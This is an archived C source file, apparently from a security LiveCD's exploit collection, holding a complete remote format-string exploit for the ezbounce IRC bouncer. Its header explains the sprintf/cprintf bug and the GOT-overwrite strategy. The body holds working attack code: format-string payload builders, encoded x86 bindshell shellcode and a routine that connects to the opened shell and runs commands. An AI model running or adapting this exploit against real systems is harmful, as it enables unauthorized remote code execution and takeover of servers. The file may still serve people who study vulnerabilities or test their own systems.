home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / ezbounce / xezb.c < prev   
C/C++ Source or Header  |  2005-02-12  |  13KB  |  346 lines

  1. /*[ ezbounce[v1.0+beyond]: remote format string exploit. ]*
  2.  * (effects current: v1.04a(stable) --- v1.50-pre6(beta)) *
  3.  *                                                        *
  4.  * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)       *
  5.  *                                                        *
  6.  * ezbounce homepage/URL:                                 *
  7.  *  http://druglord.freelsd.org/ezbounce/                 *
  8.  *                                                        *
  9.  * requirements to exploit:                               *
  10.  * - valid user/password: any access level.               *
  11.  * - the user's settings contains "enable-detach-command" *
  12.  *   (should be expected, a main feature of ezbounce)     *
  13.  * - ability to connect to anything.  but, does not       *
  14.  *   disconnect after sending initial irc(USER/NICK)      *
  15.  *   information.  this cannot be localhost:bnc_port,     *
  16.  *   it will recognize/abort it.  by default uses         *
  17.  *   "localhost:25".  if no smtpd is running locally,     *
  18.  *   change at will.                                      *
  19.  *                                                        *
  20.  * compile(when using debug, run with 1>file redirect):   *
  21.  *  cc xezb.c -o xezb                                     *
  22.  *  cc xezb.c -o xezb -DDEBUG                             *
  23.  *                                                        *
  24.  * the bug itself(from ezbounce/commands.cpp):            *
  25.  *  1163:CMDFUNC(sessions)                                *
  26.  *  ...                                                   *
  27.  *  1196:char buff[200], timebuff[15];                    *
  28.  *  ...                                                   *
  29.  *  1204:sprintf(buff,"%-3d %-20s %-20s %s\n", ++idx,     *
  30.  *       c->uinfo.irc->nick, c->uinfo.server, timebuff);  *
  31.  *  1205:cprintf(buff);                                   *
  32.  *                                                        *
  33.  * cprintf() performs like printf() typically does, don't *
  34.  * really know why that was printed to a buffer at all,   *
  35.  * considering cprintf() supports formats.  users can     *
  36.  * control the c->uinfo.irc->nick buffer without taint    *
  37.  * checks for anything(%/$), c->uinfo.server can be       *
  38.  * controlled as well.  but, has it to be a real host.    *
  39.  * "%-number" doesn't limit anything.  but, the limit for *
  40.  * the nickname is set as 32 elsewhere.  this is still is *
  41.  * too tight.  so, i am going to write the address in two *
  42.  * detachments.  this means i can't use .dtors or it will *
  43.  * fail with only writing two of the four bytes.  so, i   *
  44.  * am using sscanf()'s GOT, as it is not used in the      *
  45.  * process of writing the address, but is used in other   *
  46.  * functions.                                             *
  47.  *                                                        *
  48.  * as a side note: this could be exploited as a typical   *
  49.  * buffer overflow as well.  but, limited in more ways.   *
  50.  * since c->uinfo.server is also user controlled, but has *
  51.  * to be a legit(able to lookup/idle), you can use a long *
  52.  * string of zeros(ie. "CONN 000000000...") which becomes *
  53.  * 0/localhost to overflow the buffer.  the problem then  *
  54.  * becoming you can only change the address to 0x30's,    *
  55.  * which would require partial address changes(ie.        *
  56.  * 0xbfff0030).  this would be different if               *
  57.  * c->uinfo.irc->nick came after c->uinfo.server in the   *
  58.  * sprintf call.  in that case you could use the server   *
  59.  * as a filler of sorts, then the address(es) to change   *
  60.  * inside the nickname.  but, can't win everything.       *
  61.  *                                                        *
  62.  * best way of exploiting the bug:                        *
  63.  *  USER x                                                *
  64.  *  NICK <sscanf GOT addr/2+2>%.0d$hn                     *
  65.  *  PASS <user>:<pass>                                    *
  66.  *  CONN <open host>:<open port, besides bnc port>        *
  67.  *  EZB detach                                            *
  68.  * (server will disconnect, then reconnect)               *
  69.  *  USER x                                                *
  70.  *  NICK <sscanf GOT addr/2>%.0d$hn                       *
  71.  *  PASS <user>:<pass>                                    *
  72.  *  CONN <open host>:<open port, besides bnc port>        *
  73.  *  EZB detach                                            *
  74.  * (server will disconnect, then reconnect)               *
  75.  *  USER x                                                *
  76.  *  NICK x                                                *
  77.  *  PASS <same user>:<same pass>                          *
  78.  *  ECHO <shellcode> (gets placed on top of __mbuffer[])  *
  79.  *  LOG FIND (uses sscanf())                              *
  80.  * (when sessions/(automatic on connect) gets called it   *
  81.  * will change the address in two different cprintf()     *
  82.  * calls.  so, i don't want to change the .dtors or it    *
  83.  * will only write two bytes.  i am using the sscanf()    *
  84.  * GOT, as it isn't used in the process.  but, "LOG FIND" *
  85.  * uses it)                                               *
  86.  **********************************************************/
  87. #include <stdio.h>
  88. #include <stdlib.h>
  89. #include <string.h>
  90. #include <signal.h>
  91. #include <unistd.h>
  92. #include <netdb.h>
  93. #include <sys/socket.h>
  94. #include <sys/types.h>
  95. #include <sys/time.h>
  96. #include <netinet/in.h>
  97. #include <arpa/inet.h>
  98. /* distance to user supplied data.  shouldn't be    */
  99. /* too far from 12, if not 12.  i didn't add an     */
  100. /* automated finder for this exploit. :(            */
  101. #define POPS 12
  102. /* gdb /path/to/ezbounce                            */
  103. /* ...                                              */
  104. /* (gdb) x/i sscanf                                 */
  105. /* 0x8049734 <sscanf>:     jmp    *0x80637b0        */
  106. /* (use the number after jmp)                       */
  107. #define SSCANF_GOT_ADDR 0x80637b0
  108. /* ./objdump -x /path/to/ezbounce | grep __mbuffer. */
  109. /* ...                                              */
  110. /* 080646e0 g     O .bss   00000400       __mbuffer */
  111. /* 1000(buffer strlen)-226(shellcode strlen)=~750.  */
  112. /* it is still possible to have data on top of      */
  113. /* __mbuffer[], ahead of the user data, mainly log  */
  114. /* relays.  with ~750 bytes of nops it shouldn't    */
  115. /* be a problem.                                    */
  116. #define RET_ADDR (0x080646e0+750)
  117. /* has to connect to something that doesn't         */
  118. /* disconnect. (this cannot be the same as the      */
  119. /* bounce port)                                     */
  120. #define CONNECT_TO "localhost:25"
  121. #define CODESIZE 1000 /* nops+shellcode buffer.     */
  122. #define FMTSIZE 32 /* max format string size.       */
  123. #define TIMEOUT 15 /* connection timeout.           */
  124. /* taken from another exploit, works perfect for this.       */
  125. static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
  126.  "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
  127.  "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
  128.  "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
  129.  "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
  130.  "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
  131.  "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
  132.  "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
  133.  "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
  134.  "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
  135.  "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
  136.  "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
  137.  "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
  138.  "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
  139.  "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
  140.  "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
  141.  "\x6e";
  142. char *getfmt(unsigned short);
  143. char *getcode(void);
  144. char *eberror(short);
  145. short ebconnect(char *hostname,unsigned short port,
  146. char *,char *,signed short);
  147. void getshell(char *,unsigned short);
  148. void printe(char *,short);
  149. void sig_alarm(){printe("alarm/timeout hit",1);}
  150. int main(int argc,char **argv){
  151.  short r=0;
  152.  /* banner fun. */
  153.  fprintf(stderr,
  154.  "[*] ezbounce[v1.0+]: remote format string exploit.\n[*] by:"
  155.  " vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
  156.  if(argc<5){
  157.   fprintf(stderr,"[!] syntax: %s <hostname> <port> <user> <pa"
  158.   "ss>\n",argv[0]);
  159.   exit(1);
  160.  }
  161.  signal(SIGPIPE,SIG_IGN);
  162.  /* ugly brute force. */
  163.  /* change sscanf()'s GOT: 0xFFFF0000. */
  164.  fprintf(stderr,"[*] sending format string(0xFFFF0000): ");
  165.  r=ebconnect(argv[1],atoi(argv[2]),argv[3],argv[4],0);
  166.  fprintf(stderr,"%s.\n",eberror(r));
  167.  /* change sscanf()'s GOT: 0x0000FFFF. */
  168.  fprintf(stderr,"[*] sending format string(0x0000FFFF): ");
  169.  r=ebconnect(argv[1],atoi(argv[2]),argv[3],argv[4],1);
  170.  fprintf(stderr,"%s.\n",eberror(r));
  171.  /* ECHO <shellcode>, and run LOG FIND(uses sscanf()). */
  172.  fprintf(stderr,"[*] sending shellcode, and enabling: ");
  173.  r=ebconnect(argv[1],atoi(argv[2]),argv[3],argv[4],2);
  174.  fprintf(stderr,"%s.\n",eberror(r));
  175.  getshell(argv[1],45295); /* defined in shellcode. */
  176.  fprintf(stderr,"[!] exploit failed.\n");
  177.  exit(0);
  178. }
  179. char *getfmt(unsigned short type){
  180.  unsigned int addr1,addr2;
  181.  unsigned int pops=POPS;
  182.  unsigned long sscanfgot=SSCANF_GOT_ADDR;
  183.  unsigned long addr=RET_ADDR;
  184.  char *buf;
  185.  char taddr[3];
  186.  taddr[0]=(sscanfgot&0xff000000)>>24;
  187.  taddr[1]=(sscanfgot&0x00ff0000)>>16;
  188.  taddr[2]=(sscanfgot&0x0000ff00)>>8;
  189.  taddr[3]=(sscanfgot&0x000000ff);
  190.  addr1=(addr&0xffff0000)>>16;
  191.  addr2=(addr&0x0000ffff);
  192.  if(!(buf=(char *)malloc(FMTSIZE+1)))
  193.   printe("getfmt(): allocating memory failed",1);
  194.  memset(buf,0x0,(FMTSIZE+1));
  195.  if(!type)
  196.   sprintf(buf,
  197.   "%c%c%c%c"
  198.   "%%.%dd%%%d$hn",
  199.   taddr[3]+2,taddr[2],taddr[1],taddr[0],
  200.   (addr1-9),pops); /* 4=addr + 5=pre bytes(could be 4). */
  201.  else if(type==1)
  202.   sprintf(buf,
  203.   "%c%c%c%c"
  204.   "%%.%dd%%%d$hn",
  205.   taddr[3],taddr[2],taddr[1],taddr[0],
  206.   (addr2-9),pops); /* 4=addr + 5=pre bytes(could be 4). */
  207.  else if(type>1)
  208.   sprintf(buf,"x");
  209.  return(buf);
  210. }
  211. char *getcode(void){
  212.  char *buf;
  213.  if(!(buf=(char *)malloc(CODESIZE+1)))
  214.   printe("getcode(): allocating memory failed",1);
  215.  memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
  216.  memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
  217.  strlen(x86_exec));
  218.  return(buf);
  219. }
  220. char *eberror(short err){
  221.  return(err?"failed":"success");
  222. }
  223. short ebconnect(char *hostname,unsigned short port,
  224. char *user,char *pass,signed short type){
  225.  int sock;
  226.  struct hostent *t;
  227.  struct sockaddr_in s;
  228.  /* see what actually happens, for testing. */
  229. #ifdef DEBUG
  230.  sock=1; /* stdout. */
  231. #else
  232.  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  233.  s.sin_family=AF_INET;
  234.  s.sin_port=htons(port);
  235.  if((s.sin_addr.s_addr=inet_addr(hostname))){
  236.   if(!(t=gethostbyname(hostname)))
  237.    return(1);
  238.   memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  239.   sizeof(s.sin_addr));
  240.  }
  241.  signal(SIGALRM,sig_alarm);
  242.  alarm(TIMEOUT);
  243.  if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
  244.   return(1);
  245.  alarm(0);
  246. #endif
  247.  dprintf(sock,"USER x\n");
  248.  usleep(250000);
  249.  dprintf(sock,"NICK %s\n",(type==2?"x":getfmt(type)));
  250.  usleep(250000);
  251.  dprintf(sock,"PASS %s:%s\n",user,pass);
  252.  usleep(250000);
  253.  /* 2 = don't change any address, just enable. */
  254.  if(type==2){
  255.   /* puts the shellcode into memory. (on */
  256.   /* top of the dynamic __mbuffer[]) */
  257.   dprintf(sock,"ECHO %s\n",getcode());
  258.   usleep(250000);
  259.   /* "LOG FIND" uses sscanf(), GOT that got changed.  */
  260.   /* (don't need any user options to run the command) */
  261.   dprintf(sock,"LOG FIND\n");
  262.  }
  263.  /* !2 = change address. */
  264.  else{
  265.   /* have to connect to something to detach. */
  266.   /* can't be the same port as the bnc.      */
  267.   dprintf(sock,"CONN "CONNECT_TO"\n");
  268.   sleep(1);
  269.   dprintf(sock,"EZB detach\n");
  270.  }
  271.  sleep(1);
  272.  /* if stdout, don't close. */
  273. #ifndef DEBUG
  274.  close(sock);
  275. #endif
  276.  return(0);
  277. }
  278. /* same thing i use for every remote exploit. :) */
  279. void getshell(char *hostname,unsigned short port){
  280.  int sock,r;
  281.  fd_set fds;
  282.  char buf[4096+1];
  283.  struct hostent *he;
  284.  struct sockaddr_in sa;
  285.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
  286.   printe("getshell(): socket() failed",0);
  287.   return;
  288.  }
  289.  sa.sin_family=AF_INET;
  290.  if((sa.sin_addr.s_addr=inet_addr(hostname))){
  291.   if(!(he=gethostbyname(hostname))){
  292.    printe("getshell(): couldn't resolve",0);
  293.    return;
  294.   }
  295.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  296.   sizeof(sa.sin_addr));
  297.  }
  298.  sa.sin_port=htons(port);
  299.  signal(SIGALRM,sig_alarm);
  300.  alarm(TIMEOUT);
  301.  printf("[*] attempting to connect: %s:%d.\n",
  302.  hostname,port);
  303.  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  304.   printf("[!] connection failed: %s:%d.\n",
  305.   hostname,port);
  306.   return;
  307.  }
  308.  alarm(0);
  309.  printf("[*] successfully connected: %s:%d.\n\n",
  310.  hostname,port);
  311.  signal(SIGINT,SIG_IGN);
  312.  write(sock,"uname -a;id\n",13);
  313.  while(1){
  314.   FD_ZERO(&fds);
  315.   FD_SET(0,&fds);
  316.   FD_SET(sock,&fds);
  317.   if(select(sock+1,&fds,0,0,0)<1){
  318.    printe("getshell(): select() failed",0);
  319.    return;
  320.   }
  321.   if(FD_ISSET(0,&fds)){
  322.    if((r=read(0,buf,4096))<1){
  323.     printe("getshell(): read() failed",0);
  324.     return;
  325.    }
  326.    if(write(sock,buf,r)!=r){
  327.     printe("getshell(): write() failed",0);
  328.     return;
  329.    }
  330.   }
  331.   if(FD_ISSET(sock,&fds)){
  332.    if((r=read(sock,buf,4096))<1)
  333.     exit(0);
  334.    write(1,buf,r);
  335.   }
  336.  }
  337.  close(sock);
  338.  return;
  339. }
  340. void printe(char *err,short e){
  341.  fprintf(stderr,"(error: %s)\n\n",err);
  342.  if(e)
  343.   exit(1);
  344.  return;
  345. }
  346.